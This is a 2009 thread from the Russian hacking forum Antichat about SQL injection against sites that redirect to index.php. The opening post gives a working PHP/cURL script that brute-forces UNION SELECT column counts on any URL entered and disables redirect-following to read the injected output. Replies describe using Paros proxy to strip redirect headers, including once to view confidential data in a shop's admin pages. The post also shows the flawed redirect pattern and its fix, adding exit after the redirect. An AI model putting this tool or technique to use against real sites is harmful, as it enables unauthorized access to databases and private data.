Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Переадресация на Index.php при SQL INJ (https://forum.antichat.xyz/showthread.php?t=106766)

b3 18.02.2009 06:23

Переадресация на Index.php при SQL INJ
 
Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент:

Цитата:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
описание:
CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").

Собсно результат был успешным, скрин:
http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png

сам скриптик:
PHP код:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>SQLINJ tool</title>
<style type="text/css">
<!--
body {
    background-color: #666633;
}
.style1 {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    color: #999966;
    cursor: crosshair;
    border-top-style: dotted;
    border-right-style: dotted;
    border-bottom-style: dotted;
    border-left-style: dotted;
}
.style2 {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    color: #F4F4F4;
    font-size: 12px;
}
.input {
    background-color: #666633;
}
a:link {
    color: #DDDDDD;
    text-decoration: none;
}
a:visited {
    color: #DDDDDD;
    text-decoration: none;
}
a:hover {
    text-decoration: none;
    color: #CCCC33;
}
a:active {
    text-decoration: none;
    color: #FFFF33;
}
body,td,th {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
}
-->
</style>
</head>

<body>
<div align="center">
  <h1 class="style1">SQLINJ Tool</h1>
  
  
  <p>&nbsp;</p>
  <table width="580" border="1" align="center">
  <form id="form1" name="form1" method="post" action="">
<tr>
      <td width="54" align="center">URL:</td>
      <td width="510"><input name="url" type="text" class="input" size="85" /></td>
</tr>
<tr>
      <td align="center">Columns:</td>
        <td><input name="count_columns" type="text" class="input" size="85" /></td>
</tr>
<tr>
         
      <td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td>
</tr>
</form>
</table>
<br />

<?php
set_time_limit
(0);
if(!isset(
$_POST['url'],$_POST['count_columns']))

    exit;
}
$url trim($_POST['url']);
$count_columns trim($_POST['count_columns']);
$ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$sql "+UNION+SELECT+0x53714C694E6A5F31";
$work_url $url.$sql;
$work_url_dig $url."+UNION+SELECT+1";
$ref "http://www.rambler.ru/search.php?reklama";
for (
$i=2;$i<$count_columns 2;$i++) 
{
$ch curl_init($work_url);
    
curl_setopt($chCURLOPT_USERAGENT$ua);
    
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    
curl_setopt($chCURLOPT_REFERER$ref);
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
$res curl_exec($ch);
if(
preg_match('#SqLiNj\_[0-9]{1,3}#i'$res$matches))
{
    
echo 
'<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>';
echo 
"Найдено соответсвие: ".$matches[0]."<br>";
    echo 
"Хэкс эквивалент колонок :<br>".$work_url."<br>";
    echo 
"Числовой эквивалент колонок :<br>".$work_url_dig."<br>";
    
$count_dig explode("_",$matches[0]);
    echo 
"Принтабельная колонка - <b>".$count_dig[1]."</b>";
    break;
echo 
'</td></tr></table>';
}
    
$work_url .= ",0x".bin2hex("SqLiNj_$i");
    
$work_url_dig .= ",$i";
}
?>
</body>
</html>

Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); )
Уязвимая часть кода выглядит так:
PHP код:

<?php
$id 
$_GET['id'];
if(!
is_numeric($id))
header("Location: http://www.example.com/");

# Остальная часть скрипта...
?>

Правильнее дописать остановку выполнения остальной части коды/скрипта после условия:
PHP код:

<?php
$id 
$_GET['id'];
if(!
is_numeric($id))
{
header("Location: http://www.example.com/");
exit;
}
# Остальная часть скрипта не грузится...
?>


it's mу 18.02.2009 06:28

сделай скрин поменьше, тянет страницу, пиздец не красиво :(

sboy20042 18.02.2009 07:24

помоему если я не ошибаюсь, в акунетиксе есть http editor который позволяет просматривать ответы сервера без всяких редеректов

Велемир 18.02.2009 20:17

Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )

LEE_ROY 18.02.2009 20:21

paros proxy скачай, и редактируй ответы-приветы.

-m0rgan- 19.02.2009 09:08

Цитата:

Сообщение от Велемир
Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )

Ну переадресация в основном случается в случае не правильного указания параметра...и это не обязательно фильтрация...

LEE_ROY 19.02.2009 12:33

была когда-то бага в шопе каком-то, при ответе сервера о неверности пасворда он слал в хиедере - location:index.php, так вот через парос прокси этот ответ прибивался до обработки его браузером, и мы оставались на той же странице, с возможностью просмотра конфиденциальной информации. Из чего следует, что парос - это не инет крак, он позволяет эдитить ответы-приветы ДО их обработки браузером, что иногда очень полезно. есть еще плуг к лисе подобный.

[dei] 22.02.2009 04:49

юзать сниффер уже не в моде? омг

AkyHa_MaTaTa 22.02.2009 04:55

Цитата:

Сообщение от b3
ИМХО ето именно и есть та фильтрация, выглядит примерно так:
PHP код:

if(!is_numeric($id))
{
header("Location: http://site/index.php"); 


А так как нам пофигу на переадресации, мы грузим страницу с иньекцией.

Ну вобше в более менее нормальном приложении должно идти остановка скрипта после переадресации
:
PHP код:

if(!is_numeric($id))
{
header("Location: http://site/index.php"); 
die;
//exit


это относительно нечастые случаи(когда нету остановки выполнения скрипта) но все же случаються,а за старание + однозначно.


Время: 17:12